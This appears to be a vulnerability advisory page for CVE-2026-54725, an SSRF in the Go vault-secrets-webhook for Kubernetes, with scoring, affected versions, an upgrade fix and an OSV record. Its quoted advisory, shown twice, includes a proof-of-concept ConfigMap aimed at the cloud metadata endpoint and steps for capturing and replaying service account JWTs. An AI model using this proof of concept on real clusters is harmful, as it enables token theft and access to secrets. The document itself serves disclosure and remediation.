CVE-2026-54725: Github.com/bank vaults/vault secrets webhook Vault-addr Annotation SSRF -- Webhook Vulnerability

CRITICAL
Advisory Identifier: GHSA-r2v3-8gwf-7ghm
CVSS 9.6
CWE-918
Published
Advisory Summary

CVE-2026-54725 is a CRITICAL (CVSS 9.6) vault-addr annotation ssrf -- webhook vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/bank vaults/vault secrets webhook libraries in the Go ecosystem. The issue involves vault-addr annotation ssrf -- webhook makes outbound http call to attacker url during admission; vault-serviceaccount enables cluster-wide sa token theft via tokenrequest api. Remediation is available by upgrading affected packages to version 1.23.1.

CVE-2026-54725 at a Glance

CVE Identifier CVE-2026-54725
GHSA Identifier GHSA-r2v3-8gwf-7ghm
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Github.com/bank vaults/vault secrets webhook
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-54725

To remediate this vulnerability, upgrade all affected Github.com/bank vaults/vault secrets webhook dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/bank-vaults/vault-secrets-webhook fixed: 1.23.1
Upgrade github.com/bank-vaults/vault-secrets-webhook to 1.23.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/bank-vaults/vault-secrets-webhook

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54725, inspect your project dependencies for Github.com/bank vaults/vault secrets webhook:

inspect dependencies for github.com/bank-vaults/vault-secrets-webhook

Analyze the terminal output to locate any version of Github.com/bank vaults/vault secrets webhook in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.23.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/bank vaults/vault secrets webhook, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The vault-secrets-webhook reads the `vault.security.banzaicloud.io/vault-addr` annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with `vault:`, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants `serviceaccounts/token:create` cluster-wide, and the `vault-serviceaccount` annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs. ## Details `parseVaultConfig()` at `pkg/webhook/config.go:102-107` reads `VaultAddrAnnotation` unconditionally into `vaultConfig.Addr`: ```go if value, ok := annotations[common.VaultAddrAnnotation]; ok { vaultConfig.Addr = value } ``` No URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter. `MutateConfigMap` and `MutateSecret` at `pkg/webhook/configmap.go` and `pkg/webhook/secret.go` call `mw.newVaultClient(ctx, vaultConfig)` when the object contains at least one `vault:...` value. Inside `newVaultClient`, at `pkg/webhook/webhook.go:285`: ```go clientConfig.Address = vaultConfig.Addr ``` `vault.NewClientFromConfigWithContext` then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod. The `vault-skip-verify` annotation (`pkg/webhook/config.go:197`) sets `InsecureSkipVerify: true` on the TLS config, eliminating the need for a valid certificate on the attacker's server. When `VaultServiceaccountAnnotation` is also set, at `pkg/webhook/webhook.go`: ```go mw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken( ctx, saName, &tokenRequest, metav1.CreateOptions{}) ``` The webhook's ClusterRole (`deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml`) grants `serviceaccounts/token:create` cluster-wide. The resulting JWT is then POSTed to `vaultConfig.Addr/v1/auth/<path>/login`. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role. ## Proof of Concept Create a ConfigMap in any watched namespace: ```yaml apiVersion: v1 kind: ConfigMap metadata: name: ssrf-poc namespace: tenant-ns annotations: vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/" vault.security.banzaicloud.io/vault-skip-verify: "true" vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa" data: secret-key: "vault:secret/data/test#value" ``` When this ConfigMap is created, the vault-secrets-webhook admission handler: 1. Parses the annotations and reads `vault-addr: http://169.254.169.254/latest/meta-data/` 2. Calls `CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, "high-priv-sa", ...)` using cluster-wide `serviceaccounts/token:create` 3. Calls `vault.NewClientFromConfigWithContext` which POSTs the JWT to `http://169.254.169.254/latest/meta-data/v1/auth/kubernetes/login` 4. On AWS EKS with IMDSv1, the cloud metadata service receives the request from the webhook pod's IAM identity For the SA token theft path: run an HTTP server at the attacker-controlled `vault-addr` to capture the `Authorization: Bearer <JWT>` header from the login POST. ## Impact A user with `create` or `update` on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can: 1. Cause the webhook process (a cluster-wide privileged component) to make arbitrary outbound HTTP connections to any address including cloud IMDS 2. Exfiltrate ServiceAccount JWTs for any SA in their namespace, which can be replayed against the real Vault server to read secrets the SA's role is authorized to access The attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.

CVE-2026-54725 Affected Github.com/bank vaults/vault secrets webhook Versions

1 component(s)
Fixed Versions:
1.23.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/bank-vaults/vault-secrets-webhook
Go
< 1.23.1
1.23.1

References

Frequently Asked Questions

What is CVE-2026-54725?
CVE-2026-54725 is a security vulnerability in Github.com/bank vaults/vault secrets webhook involving vault-addr annotation SSRF -- webhook makes outbound HTTP call to attacker URL during admission; vault-serviceaccount enables cluster-wide SA token theft via TokenRequest API under CWE-918: Server-Side Request Forgery (SSRF).
Which Github.com/bank vaults/vault secrets webhook versions are affected?
Affected versions include releases prior to 1.23.1 across affected packages: github.com/bank-vaults/vault-secrets-webhook.
What version fixes CVE-2026-54725?
Upgrading to 1.23.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/bank-vaults/vault-secrets-webhook affected?
Yes, github.com/bank-vaults/vault-secrets-webhook is affected in releases prior to 1.23.1. Upgrade your dependency to 1.23.1 or later.
What is the CVSS score of CVE-2026-54725?
CVE-2026-54725 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-54725?
CVE-2026-54725 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-54725?
Run the dependency tree command: 'inspect dependencies for github.com/bank-vaults/vault-secrets-webhook'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r2v3-8gwf-7ghm",
  "modified" : "2026-07-31T17:45:02Z",
  "published" : "2026-07-31T17:45:02Z",
  "aliases" : [ "CVE-2026-54725" ],
  "summary" : "vault-addr annotation SSRF -- webhook makes outbound HTTP call to attacker URL during admission; vault-serviceaccount enables cluster-wide SA token theft via TokenRequest API",
  "details" : "## Summary\n\nThe vault-secrets-webhook reads the `vault.security.banzaicloud.io/vault-addr` annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with `vault:`, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants `serviceaccounts/token:create` cluster-wide, and the `vault-serviceaccount` annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs.\n\n## Details\n\n`parseVaultConfig()` at `pkg/webhook/config.go:102-107` reads `VaultAddrAnnotation` unconditionally into `vaultConfig.Addr`:\n\n```go\nif value, ok := annotations[common.VaultAddrAnnotation]; ok {\n    vaultConfig.Addr = value\n}\n```\n\nNo URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter.\n\n`MutateConfigMap` and `MutateSecret` at `pkg/webhook/configmap.go` and `pkg/webhook/secret.go` call `mw.newVaultClient(ctx, vaultConfig)` when the object contains at least one `vault:...` value. Inside `newVaultClient`, at `pkg/webhook/webhook.go:285`:\n\n```go\nclientConfig.Address = vaultConfig.Addr\n```\n\n`vault.NewClientFromConfigWithContext` then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod.\n\nThe `vault-skip-verify` annotation (`pkg/webhook/config.go:197`) sets `InsecureSkipVerify: true` on the TLS config, eliminating the need for a valid certificate on the attacker's server.\n\nWhen `VaultServiceaccountAnnotation` is also set, at `pkg/webhook/webhook.go`:\n\n```go\nmw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken(\n    ctx, saName, &tokenRequest, metav1.CreateOptions{})\n```\n\nThe webhook's ClusterRole (`deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml`) grants `serviceaccounts/token:create` cluster-wide. The resulting JWT is then POSTed to `vaultConfig.Addr/v1/auth/<path>/login`. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role.\n\n## Proof of Concept\n\nCreate a ConfigMap in any watched namespace:\n\n```yaml\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: ssrf-poc\n  namespace: tenant-ns\n  annotations:\n    vault.security.banzaicloud.io/vault-addr: \"http://169.254.169.254/latest/meta-data/\"\n    vault.security.banzaicloud.io/vault-skip-verify: \"true\"\n    vault.security.banzaicloud.io/vault-serviceaccount: \"high-priv-sa\"\ndata:\n  secret-key: \"vault:secret/data/test#value\"\n```\n\nWhen this ConfigMap is created, the vault-secrets-webhook admission handler:\n1. Parses the annotations and reads `vault-addr: http://169.254.169.254/latest/meta-data/`\n2. Calls `CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, \"high-priv-sa\", ...)` using cluster-wide `serviceaccounts/token:create`\n3. Calls `vault.NewClientFromConfigWithContext` which POSTs the JWT to `http://169.254.169.254/latest/meta-data/v1/auth/kubernetes/login`\n4. On AWS EKS with IMDSv1, the cloud metadata service receives the request from the webhook pod's IAM identity\n\nFor the SA token theft path: run an HTTP server at the attacker-controlled `vault-addr` to capture the `Authorization: Bearer <JWT>` header from the login POST.\n\n## Impact\n\nA user with `create` or `update` on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can:\n1. Cause the webhook process (a cluster-wide privileged component) to make arbitrary outbound HTTP connections to any address including cloud IMDS\n2. Exfiltrate ServiceAccount JWTs for any SA in their namespace, which can be replayed against the real Vault server to read secrets the SA's role is authorized to access\n\nThe attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/bank-vaults/vault-secrets-webhook"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.23.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.22.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/bank-vaults/vault-secrets-webhook/security/advisories/GHSA-r2v3-8gwf-7ghm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bank-vaults/vault-secrets-webhook/commit/76db45976fee0f54cafd94dffa425e6b542f65a0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/bank-vaults/vault-secrets-webhook"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bank-vaults/vault-secrets-webhook/releases/tag/v1.23.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-31T17:45:02Z",
    "nvd_published_at" : null
  }
}